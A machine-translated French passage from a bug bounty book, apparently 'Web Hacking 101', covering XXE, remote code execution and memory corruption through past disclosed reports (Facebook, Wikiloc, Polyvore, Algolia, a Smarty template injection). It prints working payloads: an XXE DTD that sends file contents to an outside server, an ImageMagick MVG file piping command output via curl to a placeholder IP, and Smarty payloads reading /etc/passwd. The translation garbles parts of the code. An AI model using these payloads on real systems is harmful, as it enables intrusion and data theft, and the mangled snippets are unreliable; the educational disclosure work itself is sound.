Vous êtes sur la page 1sur 30

Traduit de Anglais vers Français - www.onlinedoctranslator.

com

Vulnérabilité d'entité externe XML 109

Dernière connexion : mar. 8 juillet 09:11:09 sur console

Mohamed :~ mohaab007 : sudo python -m SimpleHTTPServer 80 Mot


de passe :
Servir HTTP sur le port 0.0.0.0 80...
173.252.71.129 -- [08/juillet/2014 09:21:10] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 -- [08/juillet/2014 09:21:11] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 -- [08/juillet/2014 09:21:11] code 404, message Fichier introuvable
173.252.71.129 -- [08/juillet/2014 09:21:11] "OBTENIR /FACEBOOK-HACKED ? HTTP/1.0" 404

Cela commence par la commande pour exécuter SimpleHTTPServer. Le terminal reste au niveau du
message de diffusion jusqu'à ce qu'il y ait une requête HTTP adressée au serveur. Cela se produit lorsqu'il
reçoit une requête GET pour /ext.dtd. Par la suite, comme prévu, nous voyons alors le rappel au serveur /
FACEBOOK-HACKED ? mais malheureusement, sans le contenu du fichier /etc/passwd ajouté. Cela signifie
que Mohamed ne pouvait pas lire les fichiers locaux, ou que /etc/passwd n'existait pas.

Avant de continuer, je dois signaler que Mohamed aurait pu soumettre un fichier qui n'incluait pas
<!ENTITY %dtd SYSTEM « http://197.37.102.90/ext.dtd »>, incluant simplement une tentative de
lecture du fichier local. Cependant, la valeur qui suit ces étapes est que l'appel initial du fichier DTD
distant, en cas de succès, démontrera une vulnérabilité XXE. La tentative d'extraction du fichier /etc/
passwd n'est qu'un moyen d'abuser du XXE. Ainsi, dans ce cas, puisqu’il a enregistré les appels HTTP
vers son serveur depuis Facebook, il a pu prouver qu’ils analysaient des entités XML distantes et
qu’une vulnérabilité existait.

Cependant, lorsque Mohamed a signalé le bug, Facebook a répondu en demandant une vidéo de
preuve de concept car ils ne pouvaient pas reproduire le problème. Après cela, Facebook a ensuite
répondu en rejetant la soumission, suggérant qu'un recruteur avait cliqué sur un lien, ce qui avait
initié la requête vers son serveur. Après avoir échangé quelques e-mails, l'équipe de Facebook
semble avoir creusé davantage pour confirmer l'existence de la vulnérabilité et attribué une prime,
envoyant un e-mail expliquant que l'impact de ce XXE était moins grave que celui initial de 2013 car
l'exploit de 2013 aurait pu être a dégénéré en exécution de code à distance alors que celle de
Mohamed ne pouvait pas le faire, même si cela constituait toujours un exploit valide.
Vulnérabilité d'entité externe XML 110

Réponse officielle de Facebook

Points à retenir

Il y a quelques points à retenir ici. Les fichiers XML se présentent sous différentes formes et tailles
- gardez un œil sur les sites qui acceptent les fichiers .docx, .xlsx, .pptx, etc. Comme je l'ai
mentionné précédemment, parfois vous ne recevrez pas immédiatement la réponse de XXE
- cet exemple montre comment configurer un serveur pour qu'il soit pingé qui démontre le
XXE.

De plus, comme dans d’autres exemples, il arrive parfois que les rapports soient initialement rejetés. Il
est important d'avoir confiance et de s'y tenir en travaillant avec l'entreprise dont vous dépendez, en
respectant sa décision tout en expliquant pourquoi quelque chose pourrait constituer une vulnérabilité.

3. Wikiloc XXE

Difficulté: Dur
URL: wikiloc.com
Vulnérabilité d'entité externe XML 111

Lien de rapport:Blog de David Sopas3

Date de déclaration: octobre 2015

Prime payée: Guirlande

Description:

Selon leur site, Wikiloc est un endroit pour découvrir et partager les meilleurs sentiers extérieurs pour la randonnée, le vélo
et bien d'autres activités. Il est intéressant de noter qu'ils permettent également aux utilisateurs de télécharger leurs propres
traces via des fichiers XML, ce qui s'avère plutôt séduisant pour les pirates cyclistes comme David Sopas.

Sur la base de son article, David s'est inscrit sur Wikiloc et, remarquant le téléchargement XML, a décidé
de le tester pour une vulnérabilité XXE. Pour commencer, il a téléchargé un fichier du site pour
déterminer leur structure XML, en l'occurrence un fichier .gpx et a injecté **<!DOCTYPE foo [<!ENTITY xxe
SYSTEM « http://www.davidsopas.com/XXE ” > ]> ;

Ensuite, il a appelé l'entité à partir du nom de la piste dans le fichier .gpx à la ligne 13 :

1 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" >]>


2 <gpx
3 version="1,0"
4 créateur="GPSBabel - http://www.gpsbabel.org" xmlns:xsi=
5 "http://www.w3.org/2001/XMLSchema-instance" xmlns=
6 "http://www.topografix.com/GPX/1/0"
7 xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX\ /1/1/
8 gpx.xsd">
9 <heure>2015-10-29T12:53:09Z</heure>
dix <limitesminlat="40.734267000"minlon="-8.265529000"maxlat="40.881475000"maxlon="-8\
11 .037170000"/>
12 <trk>
13 <nom>xxx;</nom>
14 <trkseg>
15 <trkptlatitude="40.737758000"lon="-8.093361000">
16 <élé>178.000000</ele>
17 <heure>2009-01-10T14:18:10Z</heure>
18 (...)

Cela a abouti à une requête HTTP GET à son serveur,OBTENIR 144.76.194.66 /XXE/ 29/10/15 13h02 Java/
1.7.0_51. Ceci est remarquable pour deux raisons : premièrement, en utilisant un simple appel de preuve
de concept, David a pu confirmer que le serveur évaluait son XML injecté et que le serveur effectuerait
des appels externes. Deuxièmement, David a utilisé le document XML existant afin que son contenu
s'intègre dans la structure attendue par le site. Pendant qu'il ne discute pas

3www.davidsopas.com/wikiloc-xxe-vulnerability
Vulnérabilité d'entité externe XML 112

cela, la nécessité d'appeler son serveur n'aurait peut-être pas été nécessaire s'il avait pu lire le fichier /
etc/passwd et restituer le contenu dans l'élément <name>.

Après avoir confirmé que Wikiloc effectuerait des requêtes HTTP externes, la seule autre question était
de savoir s'il lirait les fichiers locaux. Il a donc modifié le XML injecté pour que Wikiloc lui envoie le
contenu de son fichier /etc/passwd :

1 <!Balise racine DOCTYPE [

2 <!ENTITÉ%système de fichiers"fichier:///etc/issue">
3 <!ENTITÉ%SYSTÈME dtd"http://www.davidsopas.com/poc/xxe.dtd">
4 %dtd;]>
5 <gpx
6 version="1,0"
7 créateur="GPSBabel - http://www.gpsbabel.org"
8 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
9 xmlns="http://www.topografix.com/GPX/1/0"
dix xsi:schémaEmplacement="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX\ /1/1/
11 gpx.xsd">
12 <temps>2015-10-29T12:53:09Z</temps>
13 <limites minlat="40.734267000"Minlon="-8.265529000"maxlat="40.881475000"maxlon="-8\
14 .037170000"/>
15 <trk>
16 <nom>&envoyer;</nom>
17 (...)

Cela devrait vous sembler familier. Ici, il a utilisé deux entités qui doivent être évaluées dans la
DTD, elles sont donc définies à l'aide du %. La référence à &send; dans la balise <name> est en
fait défini par le fichier xxe.dtd renvoyé qu'il renvoie à Wikiloc. Voici ce fichier :

<?version XML="1,0"codage="UTF-8"?>
<!ENTITÉ%tous"<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%tous;

Notez le %all ; qui définit en fait l'envoi !ENTITY que nous venons de remarquer dans la balise
<name>. Voici à quoi ressemble le processus d’évaluation :

1. Wikiloc analyse le XML et évalue %dtd ; comme appel externe au serveur de David
2. Le serveur de David renvoie le fichier xxe.dtd à Wikiloc
3. Wikiloc analyse le fichier DTD reçu qui déclenche l'appel à %all
4. Lorsque %all est évalué, il définit &send; qui inclut un appel sur l'entité %file
5. %fichier ; est remplacé dans la valeur de l'url par le contenu du fichier /etc/passwd
Vulnérabilité d'entité externe XML 113

6. Wikiloc analyse le document XML et trouve le &send; entité qui évalue un appel à distance
au serveur de David avec le contenu de /etc/passwd comme paramètre dans l'URL

Selon ses propres mots, game over.

Points à retenir

Comme mentionné, il s'agit d'un excellent exemple de la façon dont vous pouvez utiliser des modèles
XML d'un site pour intégrer vos propres entités XML afin que le fichier soit correctement analysé par la
cible. Dans ce cas, Wikiloc s'attendait à un fichier .gpx et David a conservé cette structure, en insérant
ses propres entités XML dans les balises attendues, en particulier la balise <name>. De plus, il est
intéressant de voir comment la transmission d'un fichier dtd malveillant peut être exploitée pour
qu'une cible envoie ensuite des requêtes GET à votre serveur avec le contenu du fichier comme
paramètres d'URL.

Résumé

XXE représente un vecteur d’attaque intéressant avec un gros potentiel. Il existe plusieurs façons d'y
parvenir, comme nous l'avons vu, notamment en demandant à une application vulnérable
d'imprimer son fichier /etc/passwd, en appelant un serveur distant avec le fichier /etc/passwd et en
appelant une DTD distante. fichier qui demande à l'analyseur de rappeler un serveur avec le fichier /
etc/passwd.

En tant que pirate informatique, gardez un œil sur les téléchargements de fichiers, en particulier ceux qui utilisent une forme de XML,
ceux-ci doivent toujours être testés pour détecter les vulnérabilités XXE.
14. Exécution de code à distance

Description

L'exécution de code à distance fait référence à l'injection de code qui est interprété et exécuté par une
application vulnérable. Cela est généralement dû au fait qu'un utilisateur soumet une entrée que
l'application utilise sans aucun type de nettoyage ou de validation.

Cela pourrait ressembler à ceci :

$var = $_GET['page'];
eval($var);

Ici, une application vulnérable pourrait utiliser l'urlindex.php?page=1cependant, si un


utilisateur entreindex.php?page=1;phpinfo()l'application exécuterait la fonction phpinfo()
et renverrait son contenu.
De même, l'exécution de code à distance est parfois utilisée pour faire référence à l'injection de commandes
que l'OWASP différencie. Avec Command Injection, selon l'OWASP, une application vulnérable exécute des
commandes arbitraires sur le système d'exploitation hôte. Encore une fois, cela est rendu possible par le fait de
ne pas nettoyer ou valider correctement les entrées de l'utilisateur, ce qui entraîne la transmission des entrées
de l'utilisateur aux commandes du système d'exploitation.

En PHP, par exemple, cela pourrait ressembler à une entrée utilisateur transmise ausystème()
fonction.

Exemples

1. Polyvore ImageMagick

Difficulté: Haut
URL: Polyvore.com (Acquisition Yahoo)

Lien de rapport:http://nahamsec.com/exploiting-imagemagick-on-yahoo/1

Date de déclaration: 5 mai 2016

1http://nahamsec.com/exploiting-imagemagick-on-yahoo/
Exécution de code à distance 115

Prime payée: 2000$

Description:

ImageMagick est un progiciel couramment utilisé pour traiter des images, comme le recadrage, la mise à
l'échelle, etc. Imagick de PHP, rmagick et paperclip de Ruby et imagemagick de NodeJS l'utilisent tous et
en avril 2016, plusieurs vulnérabilités ont été divulguées dans la bibliothèque, dont l'une pourrait être
exploité par des attaquants pour exécuter du code à distance, sur lequel je vais me concentrer.

En un mot, ImageMagick ne filtrait pas correctement les noms de fichiers qui y étaient transmis et étaient
finalement utilisés pour exécuter un appel de méthode system(). En conséquence, un attaquant pourrait
transmettre des commandes à exécuter, commehttps://exemple.com”|ls “-laqui serait exécuté. Un
exemple d'ImageMagick ressemblerait à :

convertir 'https://example.com"|ls "-la' out.png

Fait intéressant, ImageMagick définit désormais sa propre syntaxe pour les fichiers Magick Vector Graphics
(MVG). Ainsi, un attaquant pourrait créer un fichier exploit.mvg avec le code suivant :

pousser le contexte graphique

boîte de visualisation 0 0 640 480

remplir 'url(https://example.com/image.jpg"|ls "-la)' pop


graphique-contexte

Celui-ci serait ensuite transmis à la bibliothèque et si un site était vulnérable, le code serait exécuté
répertoriant les fichiers du répertoire.

Dans ce contexte, Ben Sadeghipour a testé la vulnérabilité d'un site d'acquisition Yahoo,
Polyvore. Comme détaillé dans son article de blog, Ben a d'abord testé la vulnérabilité sur une
machine locale qu'il contrôlait pour confirmer que le fichier mvg fonctionnait correctement.
Voici le code qu'il a utilisé :

pousser le contexte graphique

boîte de visualisation 0 0 640 480

image supérieure à 0,0 0,0 'https://127.0.0.1/x.php?x=`id | boucle http://SOMEIPADDRESS:8080/ \


- d @- > /dev/null`'
contexte graphique pop

Ici, vous pouvez voir qu'il utilise la bibliothèque cURL pour appeler SOMEIPADDRESS (changez-le pour
qu'il soit quelle que soit l'adresse IP de votre serveur). En cas de succès, vous devriez obtenir une
réponse semblable à la suivante :
Exécution de code à distance 116

Réponse du serveur de test Ben Sadeghipour ImageMagick

Ensuite, Ben visitant Polyvore, a téléchargé le fichier comme image de profil et a reçu cette
réponse sur son serveur :

Réponse de Ben Sadeghipour Polyvore ImageMagick

Points à retenir

La lecture est une partie importante d'un piratage réussi et cela inclut la lecture sur les
vulnérabilités logicielles et les vulnérabilités et expositions communes (identifiants CVE).
Connaître les vulnérabilités passées peut vous aider lorsque vous rencontrez des sites qui n'ont
pas suivi les mises à jour de sécurité. Dans ce cas, Yahoo avait corrigé le serveur mais cela n'avait
pas été fait correctement (je n'ai pas trouvé d'explication sur ce que cela signifiait). En
conséquence, la connaissance de la vulnérabilité ImageMagick a permis à Ben de cibler
spécifiquement ce logiciel, ce qui lui a valu une récompense de 2 000 $.

2. Algolia RCE sur facebooksearch.algolia.com

Difficulté: Haut

URL: facebooksearch.algolia.com

Lien de rapport:https://hackerone.com/reports/1343212

Date de déclaration: 25 avril 2016

Prime payée: 500$


2https://hackerone.com/reports/134321
Exécution de code à distance 117

Description:
Le 25 avril 2016, Michiel Prins, co-fondateur de HackerOne effectuait un travail de
reconnaissance sur Algolia.com, à l'aide de l'outil Gitrob, lorsqu'il a remarqué qu'Algolia avait
publiquement engagé sa secret_key_base dans un référentiel public. Être inclus dans le
chapitre de ce livre signifie évidemment que Michiel a réalisé l'exécution de code à distance,
alors décomposons-le.

Premièrement, Gitrob est un excellent outil (inclus dans le chapitre Outils) qui utilisera l'API GitHub pour
analyser les référentiels publics à la recherche de fichiers et d'informations sensibles. Il prend un référentiel de
départ comme entrée et s'étendra en fait à tous les référentiels auxquels les auteurs ont contribué sur le
référentiel de départ initial. Avec ces référentiels, il recherchera les fichiers sensibles en fonction de mots-clés
tels que mot de passe, secret, base de données, etc., y compris les extensions de fichiers sensibles telles que .
sql.

Donc, avec cela, Gitrob aurait signalé le fichier secret_token.rb dans le référentiel de recherche Facebook
d'Angolia à cause du mot secret. Maintenant, si vous connaissez Ruby on Rails, ce fichier devrait vous alerter,
c'est le fichier qui stocke la base_secret_key_base de Rails, une valeur qui ne devrait jamais être rendue
publique car Rails l'utilise pour valider ses cookies. En vérifiant le fichier, il s'avère qu'Angolia avait engagé la
valeur dans son référentiel public (vous pouvez toujours voir le commit sur https://github.com/algolia/
facebook-search/- commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-
afe98573d9aad940bb0f531ea55734f8R1. en passant, si vous vous demandez ce qui aurait dû être validé,
c'était une variable d'environnement comme ENV['SECRET_KEY_BASE'] qui lit la valeur à partir d'un
emplacement non validé dans le référentiel.

Maintenant, la raison pour laquelle secret_key_base est important est la façon dont Rails l'utilise
pour valider ses cookies. Un cookie de session dans Rails ressemblera à /_MyApp_-
session=BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D–dc40a55cd52fe32bb3b8 (j'ai
considérablement réduit ces valeurs pour les adapter à la page). Ici, tout ce qui précède le – est un
objet sérialisé et codé en base64. La pièce après le – est une signature HMAC que Rails utilise pour
confirmer la validité de l'objet de la première moitié. La signature HMAC est créée en utilisant le
secret comme entrée. De ce fait, si vous connaissez le secret, vous pouvez créer vos propres
cookies.

À ce stade, si vous n'êtes pas familier avec les objets sérialisés et le danger qu'ils présentent,
créer vos propres cookies peut sembler inoffensif. Cependant, lorsque Rails reçoit le cookie et
valide sa signature, il désérialise l'objet en appelant des méthodes sur les objets en cours de
désérialisation. En tant que tel, ce processus de désérialisation et l’appel de méthodes sur les
objets sérialisés offrent la possibilité à un attaquant d’exécuter du code arbitraire.

En revenant à la découverte de Michiel, depuis qu'il a trouvé le secret, il a pu créer ses


propres objets sérialisés stockés sous forme d'objets codés en base64, les signer et les
transmettre au site via les cookies. Le site exécuterait alors son code. Pour ce faire, il a
utilisé un outil de preuve de concept de Rapid7 pour le framework métasploit, Rails Secret
Deserialization. L'outil crée un cookie qui comprend un shell inversé qui permet
Exécution de code à distance 118

Michiel pour exécuter des commandes arbitraires. A ce titre, il a couruidentifiantqui est revenu
uid=1000(prod) gid=1000(prod) groupes=1000(prod). Bien que trop générique à son goût, il a décidé de
créer le fichier hackerone.txt sur le serveur, prouvant ainsi la vulnérabilité.

Points à retenir

Même si cela n’est pas toujours époustouflant et passionnant, effectuer une reconnaissance
appropriée peut s’avérer utile. Ici, Michiel a trouvé une vulnérabilité ouverte depuis le 6 avril
2014 simplement en exécutant Gitrob sur le référentiel Angolia Facebook-Search accessible
au public. Une tâche qui peut être démarrée et laissée s'exécuter pendant que vous
continuez à rechercher et à pirater d'autres cibles, en y revenant pour examiner les
résultats une fois terminé.

3. RCE d'injection de modèle Foobar Smarty

Difficulté: Moyen
URL: n / A

Lien de rapport:https://hackerone.com/reports/1642243

Date de déclaration: 29 août 2016

Prime payée: 400$

Description:

Bien qu'il s'agisse de ma vulnérabilité préférée trouvée à ce jour, elle se trouve sur un programme privé, je ne peux donc pas
en divulguer le nom. Il s'agit également d'un faible paiement, mais je savais que le programme avait de faibles paiements
lorsque j'ai commencé à travailler dessus, donc cela ne me dérange pas.

Le 29 août, j'ai été invité à un nouveau programme privé que nous appellerons Foobar. Lors de ma
reconnaissance initiale, j'ai remarqué que le site utilisait Angular pour son front-end, ce qui est
généralement un signal d'alarme pour moi puisque j'avais déjà réussi à trouver des vulnérabilités
d'injection angulaire. En conséquence, j'ai commencé à parcourir les différentes pages et
formulaires proposés par le site, en commençant par mon profil, en saisissant {{7*7}} en
recherchant 49 à afficher. Même si je n'ai pas réussi sur la page de profil, j'ai remarqué la possibilité
d'inviter des amis sur le site, j'ai donc décidé de tester la fonctionnalité.

Après avoir soumis le formulaire, j'ai reçu l'e-mail suivant :

3https://hackerone.com/reports/164224
Exécution de code à distance 119

E-mail d'invitation Foobar

Impair. Le début de l'e-mail incluait une trace de pile avec une erreur Smarty indiquant que
7*7 n'était pas reconnu. C’était un signal d’alarme immédiat. Il semblait que mon {{7*7}}
était injecté dans le modèle et que le modèle essayait de l'évaluer mais ne reconnaissait
pas 7*7.

La plupart de mes connaissances sur les injections de modèles viennent de James Kettle
(développeur chez Burpsuite), j'ai donc fait une recherche rapide sur Google pour son article sur le
sujet qui incluait une charge utile à utiliser (il a également une excellente présentation Blackhat que
je recommande de regarder sur YouTube) . J'ai fait défiler jusqu'à la section Smarty et essayé la
charge utile incluse {self::getStreamVariable("file:///proc/self/loginuuid")}et… rien. Aucune
sortie. Fait intéressant, en relisant l'article, James a en fait inclus la charge utile que j'allais utiliser
plus tôt dans l'article. Apparemment, dans ma hâte, je l'ai raté. Probablement pour le mieux étant
donné l’expérience d’apprentissage que cela m’a réellement apportée.

Maintenant, un peu sceptique quant au potentiel de ma découverte, je suis allé consulter la


documentation Smarty comme James l'a suggéré. Cela a révélé certaines variables réservées,
notamment {$smarty.version}. L'ajout de ceci comme nom et le renvoi de l'e-mail ont abouti à :
Exécution de code à distance 120

E-mail d'invitation Foobar avec version Smarty

Notez que mon nom est maintenant devenu 2.6.18 - la version de Smarty que le site utilisait.
Maintenant, nous arrivons quelque part. En continuant à lire la documentation, je suis tombé sur la
possibilité d'utiliser les balises {php} {/php} pour exécuter du code PHP arbitraire (c'était en fait
l'article de l'article de James). Cela semblait prometteur.

Maintenant, j'ai essayé la charge utile {php}imprimer "Bonjour"{/php} comme nom et j'ai envoyé l'e-mail, ce qui a abouti au
résultat :

E-mail d'invitation Foobar avec évaluation PHP

Comme vous pouvez le voir, je m'appelle désormais Bonjour. En guise de test final, j'ai voulu extraire le
Exécution de code à distance 121

/etc/passwd pour démontrer le potentiel de ceci au programme. J'ai donc utilisé la charge utile,
{php}$s=file_get_contents('/etc/passwd');var_dump($s);{/php}. Cela exécuterait la fonction
file_get_contents pour ouvrir, lire et fermer le fichier /etc/passwd en l'attribuant à ma variable,
qui viderait ensuite le contenu de la variable sous mon nom lorsque Smarty évaluait le code. J'ai
envoyé l'e-mail mais mon nom était vide. Bizarre.

En lisant la fonction dans la documentation PHP, j'ai décidé d'essayer de prendre un morceau du
fichier en me demandant s'il y avait une limite à la longueur du nom. Cela a transformé ma charge
utile en {php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);{/php}. Notez le
NULL,NULL,0,100, cela prendrait les 100 premiers caractères du fichier au lieu de tout le contenu. Cela
a donné lieu à l'e-mail suivant :

E-mail d'invitation Foobar avec le contenu de /etc/passwd

Succès! J'étais maintenant capable d'exécuter du code arbitraire et, comme preuve de concept,
d'extraire l'intégralité du fichier /etc/passwd 100 caractères à la fois. J'ai soumis mon rapport et la
vulnérabilité a été corrigée en une heure.

Points à retenir

Travailler sur cette vulnérabilité a été très amusant. La trace initiale de la pile était un signal
d'alarme indiquant que quelque chose n'allait pas et, comme certaines autres vulnérabilités
détaillées dans le livre, là où il y a de la fumée, il y a du feu. Même si le billet de blog de James
Kettle incluait effectivement la charge utile malveillante à utiliser, je l'ai négligée. Cependant, cela
m'a donné l'occasion d'apprendre et de faire l'exercice de lecture de la documentation Smarty.
Cela m'a conduit aux variables réservées et à la balise {php} pour exécuter mon propre code.
Exécution de code à distance 122

Résumé

L'exécution de code à distance, comme d'autres vulnérabilités, est généralement le résultat d'une saisie
utilisateur mal validée et traitée. Dans le premier exemple fourni, ImageMagick n'échappait pas
correctement au contenu susceptible d'être malveillant. Ceci, combiné à la connaissance de Ben de la
vulnérabilité, lui a permis de trouver et de tester spécifiquement les zones susceptibles d'être
vulnérables. En ce qui concerne la recherche de ces types de vulnérabilités, il n’existe pas de réponse
rapide. Soyez conscient des CVE publiés et gardez un œil sur les logiciels utilisés par des sites qui peuvent
être obsolètes car ils peuvent être vulnérables.

En ce qui concerne la découverte d'Angolia, Michiel a pu signer ses propres cookies, lui permettant
ainsi de soumettre du code malveillant sous la forme d'objets sérialisés auxquels Rails a ensuite fait
confiance.
15. Mémoire
Description

Débordement de tampon

Un débordement de tampon est une situation dans laquelle un programme écrivant des données dans un
tampon ou une zone de mémoire a plus de données à écrire que l'espace réellement alloué à cette mémoire.
Pensez-y comme à un bac à glaçons, vous avez peut-être de la place pour en créer 12 mais vous ne souhaitez
en créer que 10. En remplissant le bac, vous ajoutez trop d'eau et au lieu de remplir 10 emplacements, vous en
remplissez 11. Vous venez de déborder. le tampon à glaçons.

Les débordements de tampon conduisent au mieux à un comportement erratique du programme et au pire à une
grave vulnérabilité de sécurité. La raison en est qu'en cas de dépassement de tampon, un programme vulnérable
commence à écraser des données sécurisées par des données inattendues, qui peuvent ensuite être appelées. Si cela
se produit, ce code écrasé pourrait être quelque chose de complètement différent de celui attendu par le
programme, ce qui provoquerait une erreur. Ou bien, un pirate informatique malveillant pourrait utiliser le
débordement pour écrire et exécuter du code malveillant.

Voici un exemple d'image dePomme1:

Exemple de débordement de tampon

Ici, le premier exemple montre un potentiel débordement de tampon. L'implémentation de strcpy prend
la chaîne « Plus grande » et l'écrit en mémoire, sans tenir compte de l'espace alloué disponible (les cases
blanches) et en écrivant dans la mémoire involontaire (les cases rouges).

1https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/
BufferOverflows.html
Mémoire 124

Lire hors limites

En plus d'écrire des données au-delà de la mémoire allouée, une autre vulnérabilité réside dans la lecture de
données en dehors des limites de la mémoire. Il s'agit d'un type de débordement de tampon dans lequel la
mémoire est lue au-delà de ce que le tampon devrait permettre.

Un exemple célèbre et récent de vulnérabilité lisant des données en dehors des limites de la mémoire est
le bug OpenSSL Heartbleed, divulgué en avril 2014. Au moment de la divulgation, environ 17 % (500 000)
des serveurs Web sécurisés d'Internet sont certifiés par des autorités de confiance.
les liens auraient été vulnérables à l'attaque (https://en.wikipedia.org/wiki/Heartbleed2).
Heartbleed pourrait être exploité pour voler les clés privées du serveur, les données de session, les mots
de passe, etc. Il était exécuté en envoyant un message « Heartbeat Request » à un serveur qui renverrait
ensuite exactement le même message au demandeur. Le message pourrait inclure un paramètre de
longueur. Les personnes vulnérables à l'attaque ont alloué de la mémoire pour le message en fonction
du paramètre de longueur, sans tenir compte de la taille réelle du message.

En conséquence, le message Heartbeat a été exploité en envoyant un petit message avec un paramètre
de grande longueur que les destinataires vulnérables utilisaient pour lire de la mémoire supplémentaire
au-delà de celle allouée à la mémoire du message. Voici une image de Wikipédia :

2https://en.wikipedia.org/wiki/Heartbleed
Mémoire 125

Exemple de saignement de cœur

Bien qu'une analyse plus détaillée des débordements de tampon, des lectures hors limites et des
Heartbleed dépasse le cadre de ce livre, si vous souhaitez en savoir plus, voici quelques bonnes
ressources :

Documentation Apple3
Entrée de débordement de tampon Wikipédia4

3https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/
BufferOverflows.html
4https://en.wikipedia.org/wiki/Buffer_overflow
Mémoire 126

Diapositive NOP Wikipédia5

Projet de sécurité des applications Web ouvertes6

Heartbleed.com7

Corruption de la mémoire

La corruption de mémoire est une technique utilisée pour exposer une vulnérabilité en amenant le code à
exécuter un certain type de comportement inhabituel ou inattendu. L'effet est similaire à un débordement de
tampon où la mémoire est exposée alors qu'elle ne devrait pas l'être.

Un exemple de ceci est l’injection d’octets nuls. Cela se produit lorsqu'un octet nul ou une chaîne vide
%00 ou 0x00 en hexadécimal est fourni et entraîne un comportement involontaire de la part du
programme récepteur. En C/C++ ou dans les langages de programmation de bas niveau, un octet nul
représente la fin d'une chaîne ou la fin d'une chaîne. Cela peut indiquer au programme d'arrêter
immédiatement de traiter la chaîne et les octets qui suivent l'octet nul sont ignorés.

Cela a un impact lorsque le code s'appuie sur la longueur de la chaîne. Si un octet nul est lu et que le
traitement s'arrête, une chaîne qui devrait contenir 10 caractères peut être transformée en 5. Par
exemple :

c'est%00machaîne

Cette chaîne devrait avoir une longueur de 15 mais si la chaîne se termine par l'octet nul, sa valeur
serait 6. Ceci pose problème avec les langages de niveau inférieur qui gèrent leur propre mémoire.

Désormais, en ce qui concerne les applications Web, cela devient pertinent lorsque les applications Web
interagissent avec des bibliothèques, des API externes, etc. écrites en C. Passer %00 dans une URL pourrait
conduire des attaquants à manipuler des ressources Web, notamment en lisant ou en écrivant des fichiers
basés sur le autorisations de l'application Web dans l'environnement serveur plus large. Surtout lorsque le
langage de programmation en question, comme PHP, est lui-même écrit dans un langage de programmation
C.
5https://en.wikipedia.org/wiki/NOP_slide
6https://www.owasp.org/index.php/Buffer_Overflow
7http://heartbleed.com
Mémoire 127

Liens OWASP
Consultez plus d’informations surDébordements de tampon OWASP8VérifierOWASP révise
le code pour les dépassements et les débordements de tampon9VérifierTests OWASP pour
les débordements de tampondixVérifierTests OWASP pour les débordements de tas11Vérifier
Test OWASP pour les débordements de pile12Consultez plus d’informations surOWASP
intégration de code nul13

Exemples

1. PHP ftp_genlist()

Difficulté: Haut

URL: N / A

Lien de rapport:https://bugs.php.net/bug.php?id=6954514

Date de déclaration: 12 mai 2015

Prime payée: 500$

Description:

Le langage de programmation PHP est écrit en langage de programmation C qui a le plaisir de gérer sa propre
mémoire. Comme décrit ci-dessus, les débordements de tampon permettent à des utilisateurs malveillants
d'écrire dans une mémoire qui devrait être inaccessible et d'exécuter potentiellement du code à distance.

Dans cette situation, la fonction ftp_genlist() de l'extension ftp permettait un débordement, soit
l'envoi de plus de∼4 294 Mo qui auraient été écrits dans un fichier temporaire.

Cela a à son tour entraîné le fait que le tampon alloué était trop petit pour contenir les données écrites dans le
fichier temporaire, ce qui a entraîné un débordement de tas lors du chargement du contenu du fichier
temporaire en mémoire.

8https://www.owasp.org/index.php/Buffer_Overflows
9https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
dixhttps://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
11https://www.owasp.org/index.php/Testing_for_Heap_Overflow
12https://www.owasp.org/index.php/Testing_for_Stack_Overflow
13https://www.owasp.org/index.php/Embedding_Null_Code
14https://bugs.php.net/bug.php?id=69545
Mémoire 128

Points à retenir

Les débordements de tampon sont une vulnérabilité ancienne et bien connue mais toujours
courante lorsqu'il s'agit d'applications qui gèrent leur propre mémoire, en particulier C et C++. Si
vous découvrez que vous avez affaire à une application Web basée sur le langage C (dans lequel
PHP est écrit), des débordements de tampon sont une possibilité évidente. Cependant, si vous
débutez, cela vaut probablement plus la peine de trouver des vulnérabilités liées à l'injection plus
simples et de revenir aux débordements de tampon lorsque vous serez plus expérimenté.

2. Module Hotshot Python

Difficulté: Haut

URL: N / A

Lien de rapport:http://bugs.python.org/issue2448115

Date de déclaration: 20 juin 2015

Prime payée: 500$

Description:

Comme PHP, le langage de programmation Python est écrit en langage de programmation C, qui,
comme mentionné précédemment, gère sa propre mémoire. Le module Python Hotshot remplace
le module de profil existant et est écrit principalement en C pour obtenir un impact sur les
performances inférieur à celui du module de profil existant. Cependant, en juin 2015, une
vulnérabilité de dépassement de tampon a été découverte, liée à une tentative de code de copier
une chaîne d'un emplacement mémoire à un autre.

Essentiellement, le code vulnérable appelé la méthode memcpy qui copie la mémoire d'un
emplacement à un autre en prenant en compte le nombre d'octets à copier. Voici la ligne :

memcpy(self->buffer + self->index, s, len);

La méthode memcpy prend 3 paramètres, str, str2 et n. str1 est la destination, str est la
source à copier et n est le nombre d'octets à copier. Dans ce cas, ceux-ci
correspondaient à self->buffer + self->index, s et len.
Dans ce cas, la vulnérabilité résidait dans le fait que leauto-> tamponétait toujours une longueur fixe alors que
spourrait être de n’importe quelle longueur.

15http://bugs.python.org/issue24481
Mémoire 129

Par conséquent, lors de l'exécution de la fonction de copie (comme dans le diagramme d'Apple
ci-dessus), la fonction memcpy ignorerait la taille réelle de la zone copiée, créant ainsi le
débordement.

Points à retenir

Nous voyons maintenant des exemples de deux fonctions mal implémentées qui sont très
sensibles aux débordements de tampon,mémoireetstrcpy. Si nous savons qu'un site ou une
application dépend du C ou du C++, il est possible de rechercher ce langage dans les
bibliothèques de code source (utilisez quelque chose comme grep) pour trouver des
implémentations incorrectes.

La clé sera de trouver des implémentations qui transmettent une variable de longueur fixe
comme troisième paramètre à l'une ou l'autre fonction, correspondant à la taille des données à
allouer lorsque les données copiées sont en fait de longueur variable.

